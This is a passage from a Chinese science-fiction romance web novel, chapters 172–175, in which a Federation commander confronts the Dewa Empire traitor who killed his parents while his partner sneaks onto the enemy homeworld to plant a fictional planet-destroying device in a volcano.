他看着裴简珩的眼神从惊愕到荒谬，随后似乎想通了什么，那双漆黑如夜的眼睛仍然带着不可置信，一时之间竟然一句话都说不出来。 “不、不……不可能——” 闻铮的表情在这一瞬间失去了所有控制，他双唇微张，在无力地翕动之间，只有下意识的否认在喃喃出声，而此刻的他，甚至连再一滴泪都流不出来了。 强大、理智、运筹帷幄又无往不利的第三军团之刃，这个时候也不过是一个被背叛的普通人。 裴简珩的心口倏地绞痛。 闻铮的每一个表情，每一分痛苦，都宛如千斤重锤，一下一下地砸在他心上，如果能选择，他愿意和闻铮调换，让自己来替他承受这些常人无法承受之痛！ 事实上，裴简珩确实也感受到了一部分闻铮的痛苦，那些情绪似乎正顺着已经最终标记的腺体，隔着不知道多少光年传送过来，让裴简珩也是双目赤红，将将落泪。 闻铮敛下了眉眼，就连裴简珩，也探寻不得他真实的内心和想法。 下一秒，他抬眼朝裴简珩看来，在仍然微红的眼底，赫然是能致死的冰冷和怒火。 裴简珩一怔：“闻哥——” …… “成事不足败事有余的东西。” 阿维尔·斯坦柯夫冷笑：“竟然被联邦的人俘虏，真是丢尽了德瓦帝国的脸！” 闻铮的目光死死地锁住了他的脸，一字一顿：“回答我，我父母到底是死于谁手？” 第172章 你不应该感激我吗？ “你竟然已经知道答案, 又何必再问？” 阿维尔·斯坦柯夫哂然一笑：“得到了我的一个确认，又能怎么样呢？” 闻铮张了张口，似乎想问一句什么, 只是还没等他问出口, 阿维尔·斯坦柯夫就先道：“你父母，沈亦映和闻衡之……我承认, 是非常有能力的人，联邦和人类中的佼佼者, 但谁让他们不好好地待在你们联邦的首都星往上爬，非得回到7号星这个地方？” “回来也就算了, 抓着我的暗线不依不饶，甚至还发现了蓟梨草的事情, 我怎么可能还让他们活着！” 此言一出, 闻铮猛地想起了什么！ 蓟梨草一直都是7号星路边最不起眼的野草, 因为花蕊甜丝丝的, 又无毒性, 所以很多7号星的小孩子都会随手抓来嗦一嗦，闻铮小时候当然也干过。 沈亦映和闻衡之此前一直没有说过什么, 直到某一天，沈亦映却严格禁止闻铮再去嚼蓟梨草, 闻铮很少见到沈亦映那么严肃的神色！ 如今想来……那个时候，想必沈亦映已经发现了阿维尔·斯坦柯夫的势力盯上了蓟梨草，也敏锐地察觉到了这种野草并没有那么简单。 所以，阿维尔·斯坦柯夫才要把他们都除掉，才能安心。 “那是第一次星际战争的尾声，我需要让沈亦映和闻衡之死得顺理成章，才能不怀疑到我身上。”阿维尔·斯坦柯夫缓缓道, 他那张人类的面容上显露出了德瓦哨兵的阴鸷和毒辣，“我让人包围了洛河星系，暗影组必定会前往一线。你们这些联邦的战士，不是发了誓要把一切都献给联邦吗？我让他们成为了英雄，让你，闻铮，也成为了英雄后代，你不应该感激我吗？” 别说闻铮，就连凯利斯听到这句话，眉头立刻都倒竖起来，如果阿维尔·斯坦柯夫在他面前，金发大副一拳就要砸过去了！ 闻铮的脸上却已经没有什么波动了。 他追寻了这么多年的真相，在这一刻，以这种方式，拉开了那层虚伪的迷雾。 他坐在悬空号的舰长席上，向面前主屏幕上那张认识了几十年，如今却分外陌生的脸投去冰冷的睥睨，缓缓道：“德瓦帝国幕僚长，阿维尔·斯坦柯夫，你所率领的德瓦哨兵5军与7军已经被联邦星际军部第三军团、联邦洛河星系护卫军、联邦7号星自卫军包围。” “我，联邦四星上将、联邦星际军部第三军团军团长、悬空号舰长、7号星暗影组指挥官闻铮，现在命令你们向联邦投降。” “限时十个小时，如你方拒不投降，我方将按照联邦战时法律，实行统一歼灭。” 阿维尔·斯坦柯夫也正襟危坐在舰长席上，冷笑：“闻上将，我想尽一切办法，从克米恩人那里抢来了改变基因和外貌的办法，这么多年，我忍着改头换貌的屈辱潜伏在联邦，你觉得我会投降吗？” “你以为你就胜券在握了吗？德瓦哨兵绝不投降，帝国的荣誉不容玷污！” 这句话仿佛一个开关，德瓦战舰舰桥上的德瓦军官均都站直了，右手在左胸口锤击三次，异口同声。 “帝国万岁！” “帝国万岁！” “帝国万岁！” 闻铮看着他们的这一出宣言，唇边也逸出了讽刺和讥嘲：“帝国万岁……你们的帝国，是踩在其他种族和星球的血泪上建立起来的，你们的母星资源匮乏，你们靠向外掠夺压榨发展进步，有多少宇宙间的物种和星球被你们吸血殆尽！” “这样的帝国，到底是谁的帝国？” “这样的帝国，有什么资格高呼万岁？” 闻铮坐在那里，脊背挺直，宛如一柄宁折不弯的剑刃，一字一句：“十小时后，如不投降，战！” …… 在结束了全息通讯以后，裴简珩怔了好一会儿。 失望和愤怒依然在通过最终标记的腺体感知过来，和裴简珩的心痛混在一起，他坐在了自己舱室的沙发上，双手叉进了银色的短发之中，深深地叹了口气。 他都不敢想自己此生深爱的人，现在面对着德瓦哨兵大军和曾经那么信任的亲人的背叛，此刻到底是怎样的心情。 他只想赶过去，赶到他的Omega身边。 可他知道，自己仍然有着未完之事，涉及到整个联邦生死存亡的未完之事。 就像闻铮最后和他说的……要想以最小程度的伤亡结束这场战争，只有这一个办法。 这时，舱室的广播响起：“裴少将，有一个相位穿梭请求，来自悬空号。” 裴简珩扬声道：“请求允许，请茱莉到舰桥等我。” “是！” 他站起来，去洗手间洗了一把脸。 镜子中那个温润英俊的Alpha，看上去也和四个月前有了一些说不出来的不同。 他注视着镜子中发尾微湿的自己，眼皮微垂，下一刻再抬眼之时，湛蓝色的眼中已经满是坚韧和执着。 ——那个眼神，和他的爱人一模一样。 他刚踏出洗手间准备出舱室，却听见广播又再次想起，这次怀特的声音有了一些犹豫：“裴少将，又有一个相位穿梭请求，还是来自于……悬空号。” 裴简珩却面色如常，只是平静回复：“请求允许，我会在一分钟后抵达穿梭舱。” 怀特领命，裴简珩最后摸了摸军装上那两颗袖扣，踏出了舱室。 …… 一分钟后，裴简珩抵达了相位穿梭舱。 负责相位穿梭的佩珀少校对他点头：“裴少将。” 他也对佩珀少校微一颔首：“辛苦了，佩珀少校，能给我们一点时间单独聊一下吗？” 佩珀少校很知趣地对在场的两位长官敬了个礼，安静地退出了相位穿梭舱。 裴简珩缓缓把目光放在来人身上：“……凯利斯。” 凯利斯看向他的表情也很复杂，半晌才道：“你小子……原来是少将。” 搞什么啊！ 不是中校吗！ 怎么真实军衔比自己还高一级啊！ 裴简珩抱歉地笑：“抱歉，职责所在，必须要隐瞒了。” 凯利斯摆了摆手，他也只是开个玩笑，职责所在这四个字，他们都明白。 金发青年从怀里拿出了什么东西，递给了裴简珩：“闻哥托我带给你的。” 这个东西太重要了，所以闻铮拜托了他在悬空号上最信任的大副前来。 裴简珩的表情严肃起来，他珍而重之地接过了那块小东西，把它握在手心，怎么那么轻，却又那么重。 半晌，他轻声问：“闻哥……怎么样了？” 凯利斯吐出一口气，摇头：“不好，当然不好，但现在这个关头，谁都没心情关注某一个体的想法，所以只能先等这一切结束，鲜血淋漓的伤口才能有时间愈合。” 裴简珩默然。 过了一会儿，他拍了拍凯利斯的肩膀：“保重。” 凯利斯颔首，走回了相位穿梭的位置上，裴简珩也去到了佩珀少校的工作台，准备将凯利斯再相位穿梭回去。 他看着金发青年的侧脸，忽而一笑：“不打算给我敬个军礼再走吗，凯利斯上校？” 凯利斯笑了，这是他这段时间最真心的一个笑，他伸手指了指裴简珩，用眼神骂他，下一瞬间就消失在了凌风号上，只剩下一些残留的量子痕迹。 裴简珩也收回了轻轻浅浅的笑意，把那一小块冰冷的东西收好，转身走向了凌风号的舰桥。 …… 只是他刚踏进舰桥，还没来得及和茱莉打个招呼，就看见怀特从转椅上转过身来，神色有些严肃：“裴少将，我们已经进入了魁斗中立区，但扫描到了另一个星舰信号，正在空间迁跃模式中快速接近我们！” 裴简珩神色一凛：“什么星舰？” 怀特又查看了一番，眉头越拧越紧：“……德瓦战舰。” 又是德瓦战舰？！ 裴简珩立刻命令道：“全舰进入一级警戒状态，防护罩开启100%，所有武器准备！” “是！” 当他们做好准备的下一秒，一艘德瓦战舰嗖地出现在了他们面前，强行阻拦，逼着凌风号强行退出了空间迁跃模式！ 裴简珩皱眉：“扫描这艘德瓦战舰，我要知道它的编号和具体信息。” 李珂奉命扫描，却脸色也不太好看：“裴少将，这艘战舰我们扫描不出任何信息，也没有对应的战舰编码——” “裴少将！” 李珂话音未落，怀特又高声道：“德瓦战舰在呼叫我们！” 裴简珩在他的舵手席上坐下，凌风号是小型追击舰，人手不多，他同时担任负责人和舵手。他朝怀特点头：“接通。” 德瓦战舰难得会主动进行通讯，裴简珩也有点好奇这到底是什么意思。 这一艘战舰又是从哪里突然冒出来的？ 难道是跟着他们一路从玛特星系过来的吗？ 不对，如果是这样，他们不可能毫无察觉！ 并且，刚刚他和闻哥也简单对了一下信息，那艘被悬空号拦住，但在另外两艘战舰掩护下逃掉了的德瓦战舰，就是方才自毁的奥克斯·奴瓦辛戈的战舰！ 除此以外，不可能再有德瓦战舰出现在联邦境内而没有被发现的了…… 他一边在心里思忖，一边将通讯切到了主屏幕上。 下一秒，通讯接通，一张熟悉的脸赫然现于其上！ 英姿飒爽的魁斗女首领正翘着腿斜坐在德瓦战舰的舰长席上，对他扬了扬下颌：“哟。” 第173章 十个小时 ……熟人？ 1215的其他人都愣了一下, 下意识地朝他们的一把手看去，却发现裴简珩先是一怔，随后神色放松了些许：“……原来是你, 特娜伦。” 话音未落, 一张尚显青涩的清秀脸庞也出现在了屏幕之上，向星苑对他挥了挥手：“裴简珩！” 裴简珩也笑了一下：“你也在啊, 向星苑。” 那这艘查询不到任何信息的德瓦战舰，想必就是那艘原本是奥克斯·奴瓦辛戈的军舰, 之后不知道怎么被程迹偷来，又搭载了智能融合体谢运霖的DEHWA-2075了！ 在离开了UNK-322星之后, 闻铮就把这艘德瓦战舰给了特娜伦，让她可以带着向星苑和其他星盗们回到魁斗海盗区, 虽然名义上说的是“借”, 但裴简珩还真没想到, 特娜伦真的会有把这艘船再还回来的一天。 裴简珩挑了挑眉：“你们是怎么知道我在这艘联邦星舰上的？” “我不知道, 我瞎蒙的。”特娜伦眯起眼睛, 漫不经心地道，“离这里最近的战场就是洛河星系了, 在这个时候过来的联邦战舰肯定是要找机会靠近德瓦帝国边境，第三军团已经抵达了洛河星系, 很大可能就是第三军团的星舰，试一试而已，没想到还真是你。” 原来如此。 特娜伦的目光在凌风号的舰桥上逡巡了一圈，有些疑惑：“怎么都是新人？闻铮不在？” 程迹已经到了舰桥上，闻言推了推自己鼻梁上的眼镜：“是没看见我吗？” 特娜伦无视他。 星盗头子对这个一言不发就把自己的钢铁之心轰碎了的克米恩人，依然怀恨在心。 裴简珩一笔带过：“我在执行独立任务，闻哥不在这艘船上, 如果你有事找他的话，可能一时半会儿见不到了。” “啧，”特娜伦咂了咂舌，“那就算了。” 裴简珩倒是好奇了起来：“所以你找闻哥到底是做什么？” 特娜伦反问：“不是要我把这艘船还给你们吗？我们魁斗星盗最守诺言了好吧！” 裴简珩：“……” 舰桥上其他1215的军官：“……？” 他们耳朵聋了？！ 况且，魁斗星盗是最神秘莫测又随心所欲的种族，联邦和德瓦帝国都拿这个群体很是头疼，怎么看上去这个星盗首领还和裴少将关系很好的样子啊？！ 他们老大休假了四个月，到底是去干嘛了！ 教养很好的裴简珩把那句你放屁咽了下去，而电光火石之间，他突然有了一个想法！ 湛蓝的眼睛变得幽深了起来，裴简珩从座位上站起来，缓缓道：“既然如此，不如就把DEHWA-2075还给我吧？” 这可真是打瞌睡就有人送枕头，有了这艘DEHWA-2075，他们潜入德瓦母星的难度会大大降低！ 特娜伦一怔：“你？你要这艘德瓦战舰做什么？” 裴简珩对她粲然一笑：“特娜伦，既然你也这么痛恨德瓦哨兵，要不要和我一起去德瓦母星一趟？” …… 魁斗星盗的加入简直是丝滑无比，特娜伦只用了0.0001秒就接受了裴简珩的提议。 也许这也是她的女儿曾经想要看到的一幕，达成这个已知宇宙间，真正的和平。 凌风号是小型战舰，驶入了DEHWA-2075的甲板内，舰桥的指挥权从星盗手中移交到了1215军官们的手里。 特娜伦朝正从舰桥入口走进来的裴简珩挑眉：“就算有了德瓦战舰，你们打算怎么混进德瓦母星？不说别的，这艘星舰上一个德瓦人都没有，只要被要求开启了视频通讯，一定会露馅。” “没有吗？”裴简珩看向了程迹，“程院士？” 程迹微微一笑，右手食指放在了太阳穴上，眨眼之间，奥克斯·奴瓦辛戈出现了。 裴简珩又扬声问道：“运霖，你还在吗？” 温和醇厚的男声响起：“裴少将，好久不见。” “上次在UNK-322星上，我们没用完的伪装剂，还有吗？” “有的，裴少将。”谢运霖答，“我进行了权限接管，目前还没有失活。” “很好。”裴简珩又转向了佩珀少校，“佩珀少校，麻烦你提取一下我们方才机甲内的影像资料，聚焦在奥克斯·奴瓦辛戈的那些手下身上，用他们的外貌在情报库中查找，我要尽可能地知道这些人的资料。” 佩珀少校颔首，这并不难，能和奥克斯·奴瓦辛戈一同行动的德瓦哨兵，等级都不低，资料库里很大可能会有他们这么多年探查到的一些信息。 裴简珩方又转向了特娜伦，微微一笑：“还有别的问题吗？” 魁斗女首领从舰长席上下来，双手环胸，饶有兴味地看着这个年轻英俊的Alpha：“……舰长的位置是你的了。” 裴简珩把目光落在那个坐落于舰桥正中心的椅子上，那是曾经闻铮坐过的位置。 联邦巨型战舰的舰长不是什么人都能当的，甚至很多能力超群的人当了一辈子的大副，到退役的时候都没能升上舰长的位置，裴简珩当然也一样。 他是少将，是联邦最机密情报处的一把手，是超S级基因战士，但他不是联邦战舰的舰长。 他从来没有坐到过那个位置上，从来没有指挥过一整个战舰的战斗。 但在此刻，他必须去到那里，必须扛起这些责任。 裴简珩深吸了一口气，一步、两步……缓缓走到了舰长席上，落座。 他把双手搭上了舰长席的两边，在右侧扶手的下方，摸到了一个小小的凸起。 这是只属于闻铮的小小习惯，那个小凸起是他坐在那里的时候，无意识会来回摩挲的地方。 这里似乎还残留着闻铮的气息。 这种气息平息了裴简珩内心深处的慌张和不确定，让他心里涌现出了无穷无尽的勇气。 年轻的少将坐在了舰长席上，双眼直视舰桥的主屏幕，缓缓道：“目的地设定为德瓦母星，空间迁跃模式准备。” “——出发。” 在四个月的时间里，他跟着闻铮学会了很多东西。 也许现在，就到了追随他的爱人脚步的时候了。 …… 洛河星系，悬空号 凯利斯从凌风号上相位穿梭回来，刚刚站到舰桥入口，就听见戈维的声音响起：“凯利斯大副申请进入舰桥。” 戈维的话音未落，闻铮坐在舰长席上转了过来，对自己的金发大副招了招手。 凯利斯走到了他的跟前，低声道：“送到裴简珩手里了。” 闻铮微微颔首，顿了一下，还是轻声问：“他……还好吗？” 这个问题还真是似曾相识啊。 凯利斯有些牙酸，却也为了自己的好友终于有了归宿而开心，还是笑了一下：“我看他还挺好的，有点瘦了，但应该没受伤，本来就很成熟，现在变得更加沉稳了。” 是啊，瘦了。 方才的全息通讯只有十分钟，两个人还都处在巨大的震惊之中，连互相交换信息都尚且来不及，哪里顾得上好好端详彼此。 但即使如此，闻铮也明显地感觉到，裴简珩瘦了一些，眉眼间少了几分温润，多了几分锐气。 还是成长了很多啊。 想到自己的Alpha，闻铮终于能在眼下的局势之中，勾起了一丝真心的笑容。 只是那笑容转瞬即逝，凯利斯又问：“十个小时已经开始了，你觉得利切——阿维尔·斯坦柯夫会率领德瓦哨兵投降吗？” “当然不会。” 闻铮眼中的冷意倾斜而出：“他们怎么可能投降，他们巴不得为了所谓的帝国荣光而战死。” “这样的话，十个小时以后，我们就会按照联邦战时法律实行统一歼灭。”凯利斯有些担忧，“可我们现在虽然从战术和局势上占据一定优势，但如果真的拼起来，我们的死伤也不会少。” “我知道。”闻铮缓缓道，“这个仗我不想打，但我要让德瓦哨兵投降。” 凯利斯：“……啊？” 稍等，到底是漏了哪一块？ 怎么突然就听不懂领导说话了？ 见闻铮没有进一步解释的意思，凯利斯带着一肚子疑惑回到了首席战术官的位置上。 而闻上将，他右手仍然摩挲着那块小凸起，左手摸上了自己胸前的领带。 简珩…… 十个小时，简珩。 只有十个小时的机会了。 …… DEHWA-2075进入了空间迁跃模式，目的地定在了德瓦母星，路上用时预计三天。 这艘战舰现在的指挥权在裴简珩手里，核心舰桥团队也是以1215军官为主，魁斗星盗们在抵达德瓦母星之前，都处于放养状态。 特娜伦在自己的舱室里，桌子上放着一张合照，她，和一个与她很像的漂亮魁斗女孩子。 她的手轻轻抚过照片上女孩的脸，叹息声几不可闻。 这时，门铃响了。 她这才仿佛如梦初醒一般，走过去打开了门，一愣：“怎么了？” “什么意思？” “……你让我去哪儿？！”—— 作者有话说：程院士：你燕京虾吗 第174章 来得及 “舰长抵达舰桥。” 谢运霖的声音响起, 还带着几分笑意。 裴简珩抬头看向星舰顶部，笑了一下：“我不是联邦军部正式任命的舰长，不应该这么叫我。” 谢运霖顿了一下, 明显有些不赞同：“您现在是这艘船上的最高指挥官, 那就是舰长。” 裴简珩恍惚了一下，这段对话好像似曾相识, 在三个月前他刚刚追随闻铮踏上破晓号的时候，闻铮说出了他刚刚脱口而出的话, 而谢运霖的反应也和联邦人工智能中枢一模一样。 短短四个月，竟然恍若隔世。 裴简珩没再纠结, 对谢运霖道谢后踏进了舰桥。 程迹抬起眼皮看了他一眼：“裴少将——裴舰长，刚刚我联系了你半天, 你没有回复。” 裴简珩瞥了一眼通讯：“抱歉, 程院士, 刚刚我在另一个通讯上, 怎么了？” “我们即将接近德瓦母星, ”程迹扫了他一眼，眼底似乎有什么东西一闪而过, 随后又道，“如果能顺利降落, 你打算去往哪里？如果想要前往德瓦哨兵军部，难度会非常大，哪怕伪装成奥克斯·奴瓦辛戈，风险也很高。” “当然不去德瓦哨兵军部，我们只有这点人，何必以卵击石。”裴简珩已经有了自己的想法，他沉吟了一会儿, 对程迹示意，“麻烦给我一张德瓦母星的地形构造图。” 程迹挑了挑眉，伸手把一个悬浮屏丢给他。 裴简珩眯起眼，端详着德瓦母星的地形构造，这颗星球极度的贫瘠，看着很大一颗，甚至比首都星还要大一圈，但其实基本没有什么资源，地表75%是沙漠，所有德瓦人基本都聚集在剩余的25%的地方，因此不管是生存资源还是商业资源，都很紧张。 随着科技的进步，生存资源不是什么太大的问题，物质复制技术可以解决一切。而商业资源……德瓦母星根本没有现在宇宙间最重要的东西——锂导矿。 锂导矿是空间迁跃技术的能源核心，没有这个东西，德瓦人根本无法实现空间的快速迁跃和时间的压缩，同时就连长频通讯也做不到，一颗星球完全变成了孤岛。 但德瓦人的祖先在几百年前突然发现，在距离德瓦母星不远的地方，有一颗人烟稀少的荒星——西斯星。 西斯星的原住民是类恐龙的生物，还没有完全进化出智慧，德瓦帝国发现这颗星球的能量十分恐怖，锂导矿在那里简直遍地都是！ 在蛮横地侵略了西斯星后，德瓦帝国把这里的原住民屠杀殆尽，彻底地占有了这颗资源星，进行了长达数百年的锂导矿开采。 到如今，这颗资源星上已经被高度自动化的采矿智能机器人覆盖，只留有少量的德瓦哨兵作为守卫和看管，此外，这里已经没有任何其他能够生存的生物了。 而这颗星球的殖民沦陷，也揭开了德瓦帝国向外侵略扩张的帷幕。 而他们掠夺了这么多颗殖民星球，不乏很多资源丰富环境富饶的星球，比德瓦母星的条件好上何止千万倍！但德瓦帝国仍然固守着他们贫瘠的母星，无论走了多远，无论获得了多少财富和自由，却绝不舍弃这颗母星。 裴简珩喃喃：“德瓦母星的资源如此匮乏，他们几百年来为什么就是不肯离开……” 难道这是根植在德瓦人骨血里的信仰，他们不能长时间地离开德瓦母星？ 他的低喃被程迹听到了，联邦最强科学家推了推眼镜：“虽然现在还没有正式对外披露，但在我入狱之前，联邦科学院有一个绝密项目，就是在研究德瓦种族和德瓦母星之间的牵连关系。” 裴简珩一怔。 “德瓦哨兵一旦被俘虏就会想尽各种办法自杀，就像德瓦帝国无法渗透进首都星一样，联邦也很难渗透进德瓦母星，所以我们目前掌握的信息比较少，”程迹道，“但我对这个项目很感兴趣，所以作为特邀专家参与了其中。” “上次和那个霍华德，我好好地聊了聊，”他加重了聊了聊三个字，让裴简珩有些好笑，想也知道不是什么体面的谈话方式，“结合已有的一些资料，我的猜测是，德瓦母星有某种东西持续地供养着这些德瓦哨兵，他们需要从这种类似于母体的东西中获取精神信仰、或者是其他对于生理有益的帮助。” “一旦离开德瓦母星太久，这些德瓦哨兵就会精神紧张、狂躁、甚至精神崩溃。”程迹右手的食指搭在了唇边，饶有兴味，“多有趣啊，我一定要抓几个德瓦哨兵来好好研究一下。” 裴简珩：“……” 他似笑非笑地睨了这位联邦科学家逃犯：“我还在这儿呢，程院士。” 程迹轻咳一声，移开了目光。 裴简珩若有所思：“供养德瓦哨兵的母体……你们找到了这个地方在哪里吗？” “没有，”程迹摇头，“这只是一个理论假设，还没有被完全验证——起码现在还没有被验证。” 裴简珩把视线移回德瓦母星的地形构造图，沉吟许久，修长的手指轻轻点向了一处坐标。 程迹也看过去，一怔。 那里是德瓦母星75%的沙漠中非常不起眼的一角，和德瓦军部简直是对角线，并且因为那里还有一处极为活跃的火山口，因此简直是荒无人烟。 裴简珩去这里干什么？ 程迹又定睛一看，发现从地质构造图上来看，这个火山口处于洼地，地壳异常的薄，距离地心比其他地点都要近，也因此，这里是一处巨大的地沟。 理论上，如果在火山口处于极度活跃的时候…… 克米恩科学家眯了眯眼睛，某种神色从他眼底一闪而过，快到让人来不及捕捉。 裴简珩却在此时抬眼朝他看去，似笑非笑：“程院士，你还在联邦科学院的时候，有没有听说过一种物质，叫’Annihilation’？” 程迹歪头：“没有，这是什么？” 裴简珩注视着那张茱莉的漂亮脸庞，倏而一笑：“……没什么。” 程迹没有追问，只是看似漫不经心地提了一嘴：“我刚才好像看见凯利斯了，他是不是来找你了？” 裴简珩正在操作悬浮屏的动作微微一顿，随后又像无事发生一样继续：“嗯，他来给我送样东西。” 程迹没再多问。 裴简珩把那个坐标传给了怀特，怀特也曾经做过战舰的舵手，虽然一开始对德瓦战舰有些陌生，但在谢运霖的帮助下很快就适应了，越开越得心应手，甚至觉得动线比联邦的战舰还更合理一点。 怀特看到这个坐标，也有点吃惊，但他没多问什么，只是道：“收到，裴少将，我这就设定坐标航线朝这里出发。” “不。” 裴简珩却轻声道：“你开着这艘德瓦战舰在德瓦母星上空盘旋，我不管你用什么办法，给我争取两个小时的时间。” 怀特呆住。 “麻烦程——茱莉，变成奥克斯.奴瓦辛戈的模样配合怀特。” 裴简珩转向了程迹，后者也很惊讶：“不是要去那个坐标吗？” 银发Alpha缓缓站直，身姿笔挺，目光决然锐利。 …… 洛河星系，德瓦战舰舰桥 自从闻铮给出了十个小时的倒计时之后，这个舰桥上就陷入了良久的沉默。 没有人敢随便说话，甚至连看都不敢看他们的幕僚长一眼。 阿维尔·斯坦柯夫坐在舰长席上，一言不发。 半晌，德瓦大副才鼓起勇气走近他：“幕僚长大人……” 阿维尔·斯坦柯夫倏地冷笑起来：“十个小时……哈哈哈！你去，”他指挥德瓦大副，“联系哨兵1军，我需要他们的基因改造战士过来支援！” 德瓦大副有些面露难色：“可这……这是皇帝陛下安排好的命令，哨兵1军可能不会听我们的……” “那你就想办法让他们听我的。”阿维尔·斯坦柯夫阴恻恻地转向他，那双已经是人类的深色眼睛阴鸷至极，“那是我儿子的军队，他既然已经失去了指挥权，那就理所应当得听我的！” 在最后几个字响起的时候，他反手就抽上了德瓦大副的脸，硬生生把他抽飞出去十米！ 德瓦大副却连捂脸的动作都不敢，立马跪下俯首：“明白！” 阿维尔·斯坦柯夫又把视线移向了主屏幕之外的深空中，联邦第三军团、联邦洛河星系护卫军、联邦7号军护卫军以及德瓦哨兵5军与7军……正剑拔弩张地对峙着，就等十个小时的期限一到，付诸一个最后的结果。 这不是最后…… 这当然不是最后！ 阿维尔·斯坦柯夫的眼底划过一丝穷途末路的阴狠。 基因退化虽然已经失败了，此时此刻他突然庆幸，自己的儿子和自己的政见相左，于是投入巨额的财力人力研发了基因战士，左腿哪怕瘸了，右腿却仍能健步如飞。 从东翼战场赶过来只需要五个小时，一切都还来得及。 闻铮，你别以为你赢了。 一切都还，胜负未定！—— 作者有话说：今天晚了一点！！不好意思！ 祝大家圣诞节快乐！！ 第175章 请服从我的命令 DEHWA-2075在进入德瓦母星以后就放慢了速度, 朝着奥克斯·奴瓦辛格的府邸前行，作为德瓦帝国的大元帅，他有一个私人的星舰港口。 而不知何时, 一艘微型追击舰从这架德瓦战舰中分离了出来, 空气的微微波动显示着这艘追击舰已经进入了隐形模式，朝着西北角飞去。 在追击舰之中, 一个身姿笔挺的银发Alpha正坐在驾驶位，目光森然地凝视着驾驶面板上那个火山口的图像, 一言不发。 这艘追击舰中只有他一个人，怀揣着对联邦和德瓦帝国都生死攸关的东西, 义无反顾地前往不知何时就会喷发的活跃火山口。 他垂下眼帘，轻声叹息。 他希望自己的猜测是错的, 不想到了最后关头, 还要面对这样的事。 左手轻轻地搭上了右手袖扣, 珍重又爱怜的摩挲。 他祈祷一切都赶快结束, 和平能真的到来, 也能让他赶回他的爱人身旁。 也就十几分钟，他就已经驾驶着这艘微型追击舰到了火山口的坐标附近了。 德瓦母星的大气与重力和首都星比较相近, 对人类来说也可以适应，但这个火山口在过去的几年里面经常毫无规律地爆发, 哪怕它现在看上去风平浪静，但还是不能冒险。 裴简珩打开了舱门，高空之中的风猎猎吹过，将他的领带微微吹起。 银发青年纵身一跃！ 在半空中，他反手按了一下通讯上的按钮，银色的光泽一寸寸地覆盖过他的身体，眨眼间, 他已经被银白色的机甲系数包裹，轻巧地落在了地上。 裴简珩手里拿着一个勘探仪，正在寻找那个距离地心最近的点。 找了一圈，最后沉默了。 裴简珩低头看着勘探仪上面显示的画面，朝耳麦里确认：“佩珀少校，茱莉，如果我没看错，这个坐标是在——” “——火山口正中心洼地。” 程迹接上了后半句，他的声音听起来没有什么起伏，裴简珩虽然看不到他的脸，但也能想到他此刻一定是推了推鼻梁上的眼镜，然后脸上会带上几分促狭的笑意。 佩珀少校也道：“裴少、舰长，科学官说的没错，从数据表现来看，您恐怕的确是需要潜入火山口中心洼地才能到达。” 裴简珩颔首：“茱莉，你做好和德瓦军部周旋的准备。佩珀少校，请关注我的动向，如果有什么意外，收到我的命令以后再将我相位穿梭回去，记住，如果没有我的命令，不允许擅自行动！” 佩珀少校难得地犹豫了一下：“可如果您的情况危急——” “我有我自己的考量，”裴简珩的语调温和又强势，上位者的气势毫不掩饰地流露出来，“请服从我的命令。” “……是！” 裴简珩把目光转向了眼前的火山口，深吸了一口气，又是纵身一跃！ …… 火山口里的温度确实极高，多亏了机甲，裴简珩倒是没有感受到什么异样，他在跳下的时候已经借助机甲的空间分析功能锁定了落脚点，现在正站在那块巨型岩石之上。 机甲自带的扫描功能清晰地扫过了火山内部的每一处，裴简珩的视线锁定了洼地中，看似不起眼的一处。 下一秒，银白色的机甲倏地弹出了三根钢铁触手，混成一束，朝着目标点猛地扎下！ 裴简珩这具机甲是出发之前特意被送去改造过的，严格按照他此次任务的内容设计强化，这几根触手的顶端是联邦目前已知穿透能力最强的物质，足以在短短的时间内挖穿地表！ 只是短短的几分钟，机甲就显示已经挖到了目的深度。 裴简珩掏出了那个装着’Annihilation’的装置，半晌，才轻轻地叹了口气。 随着他的叹息，骨节分明的手缓缓张开，那个装置顺着下探好的地洞，就这样滑落了下去。 他此前怎么会想到，一力要阻止段和华与段洄的自己，竟然会成为那个亲手将’Annihilation’掷入德瓦母星地核的人。 只希望这样是对的，一切战争都能因此而终结。 机甲面板开始播报：“目标物正在下探，预计用时140秒。” 在此期间，机甲需要一直在维持着地洞形态，德瓦母星这一处的地表形态十分奇特，一旦失去外力维持，会在眨眼之间恢复原样。 在倒数120秒的时候，裴简珩敏锐的感觉到好像有些不对劲。 这里面的温度开始变得更高，火山内部的一些岩石也开始掉落下来，那些原本几乎没动的岩浆也开始流动了！ ——不好！ 这座火山又在准备喷发了！ 果然，耳麦里传来了佩珀少校焦急的声音：“裴少将！火山预计会在120秒后喷发，您得赶快回来了！我这就锁定您的坐标进行相位穿梭！” “等等！”裴简珩沉下脸，“我说什么了？没有我的命令，不允许擅自对我进行相位穿梭！任务还没有完成，我凭什么离开？” 佩珀少校一时语塞：“可——” “120秒，还有时间。”裴简珩的声音非常地沉着冷静，“等到’Annihilation’到达地心，还有三秒钟的时间留给你们把我穿梭回去。” “那是在火山活动没有加剧的前提下！”佩珀少校还是很紧张，“万一有什么催化了火山的活动，您的时间就不够了！” “别说这种丧气话。”裴简珩注视着机甲面板上的倒计时，声音里没有一丝波澜，甚至还有几分笑意，“我觉得我还算一个幸运的人呢。” 能生在这样的家庭里，能被这样爱着长大。 能遇见自己此生最爱的人，恰好这个人也如此深爱着自己。 怎么能不算是一个幸运的人？ 而到了这个关头，冥冥之中似乎有一个声音在告诉他，简珩，你能做到。 他反手又摸上了自己的袖扣，一颗心稳稳地定了下来。 佩珀少校此刻根本无暇和自己的长官开玩笑，她的精神高度紧张，毕竟裴简珩的命现在和在她手上没有任何区别，如果不是专业的训练和极强的心理素质，她控制相位穿梭的手都得抖的不行！ 佩珀少校面前的面板开始闪烁着火山喷发的倒计时：“十、九、八——” 而裴简珩眼前的面板也正在显示’Annihilation’距离目的坐标的进度：“96%、97%、98%——” “——100%！” 裴简珩当机立断：“佩珀，就是现在！” 佩珀少校几乎是用了全身的力气一把拍在了相位穿梭的按键上！ DEHWA-2075舰桥上的所有人，都在主屏幕上注视着这一幕，所有人的心都提到了嗓子眼！ “——二、一！” 随着谢运霖绷着声音的播报，滚滚的岩浆正从主屏幕上的火山口摧枯拉朽般地迸发出来！ 舰桥上静默无声。 就连程迹，右手都攥紧成拳藏于背后，一言不发。 李珂咽了咽唾沫，讷讷问：“舰、舰长——” 公开通讯的频道里一片沉默。 莉莉丝上尉的眼眶都红了起来。 这时，一个低沉的声音却含笑响起：“……我说了，我还是挺幸运的^^” “……” 